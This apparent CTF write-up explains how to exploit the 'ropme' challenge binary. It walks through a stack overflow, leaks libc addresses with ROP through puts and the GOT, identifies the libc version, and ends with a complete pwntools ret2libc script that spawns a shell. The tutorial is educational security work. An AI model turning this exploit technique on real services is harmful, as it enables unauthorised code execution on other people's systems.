Please read the disclaimer

Hello, this is my first post on this website, from now on I will publish tutorials and solutions for the challenges that I complete for educational purpose.

In this small tutorial we will talk about:

  • How to leak an address from libc
  • How to find the correct version of libc used by the remote target
  • How to exploit and gain a remote shell

We will use a tool called pwntools to write our exploit script, using python as language.

I chose a challenge proposed by the cyber security community 0x00sec. so let’s get right into it.

Reversing part:

The binary is a simple ELF 64-bit dynamically linked let’s check its protections.

Using checksec we see that stack smashing protection is disabled.

ropme_checksec

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+10h] [bp-40h]

  puts("ROP me outside, how 'about dah?");
  fflush(stdout);
  fgets(&s, 0x1F4, stdin);
  return 0;
}

we notice that the length of the variable s is 0x40 but fgets reads 0x1F4 bytes from STDIN, which means we can overwrite the return address !.

Leaking part:

Our first goal is to leak 2 different libc function addresses, to do so, we will use puts function to print .got entries, I chose to leak puts and fgets addresses.

Using gdb we find that after 72 bytes we can overwrite the return address, time to build a small rop gadget to call puts and print .got entries, for this we need to find a gadget that puts data into RDI something like pop RDI; ret would be cool, using ROPgadget on the binary we get :

ropme_rop_gadget

With all this information we can write a small script to extract puts and fgets addresses.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

e = context.binary = ELF('./ropme')

pop_rdi_ret = 0x4006d3

r = remote('127.0.0.1', 4444) # connect to the remote service

leak  = cyclic(72)          # offset
leak += p64(pop_rdi_ret)    # pop rdi; ret
leak += p64(e.got.puts)     # argument
leak += p64(e.plt.puts)     # function_call

leak += p64(pop_rdi_ret)    # pop rdi; ret
leak += p64(e.got.fgets)    # argument
leak += p64(e.plt.puts)     # function_call

leak += p64(e.symbols.main) # return to main

r.recvuntil("ROP me outside, how 'about dah?\n")
r.sendline(leak)

puts_address  = u64(r.recvline(6).strip().ljust(8, "\x00"))
fgets_address = u64(r.recvline(4).strip().ljust(8, "\x00"))

log.success('puts() at %#x', puts_address)
log.success('fgets() at %#x', fgets_address)

its output :

ropme_leak_libc

Now having this juicy information we can search for the libc version using one of the many libc databases out there an example would be : libc-database.

ropme_libc_found

The remote target has libc6_2.23, let’s just download it and use pwntools to extract function’s offsets from it.

Exploit part:

Now that we can leak a libc function’s address we can calculate libc base address by : libc_base_address = leaked_function_address - function's_offset_in_libc and then get system address.

The final exploit script :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

e = context.binary = ELF('./ropme')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')

pop_rdi_ret = 0x4006d3

puts_offset = libc.symbols['puts']
sys_offset  = libc.symbols['system']
exit_offset = libc.symbols['exit']
sh_offset   = libc.search('sh\x00').next()

r = remote('127.0.0.1', 4444) # connect to the remote service

leak  = cyclic(72)          # offset
leak += p64(pop_rdi_ret)    # pop rdi; ret
leak += p64(e.got.puts)     # argument
leak += p64(e.plt.puts)     # function_call

leak += p64(pop_rdi_ret)    # pop rdi; ret
leak += p64(e.got.fgets)    # argument
leak += p64(e.plt.puts)     # function_call

leak += p64(e.symbols.main) # return to main

r.recvuntil("ROP me outside, how 'about dah?\n")
r.sendline(leak)

puts_address  = u64(r.recvline(6).strip().ljust(8, "\x00"))
fgets_address = u64(r.recvline(4).strip().ljust(8, "\x00"))

log.success('puts() at %#x', puts_address)
log.success('fgets() at %#x', fgets_address)

libc_base = puts_address - puts_offset

log.success('libc_base located at %#x', libc_base)

system = libc_base + sys_offset
sh = libc_base + sh_offset
exit = libc_base + exit_offset

exploit  = cyclic(72)       # offset
exploit += p64(pop_rdi_ret) # pop rdi; ret
exploit += p64(sh)          # argument
exploit += p64(system)      # function_call
exploit += p64(exit)

r.recvuntil("ROP me outside, how 'about dah?\n")
r.sendline(exploit)

r.interactive()

ropme_leak_libc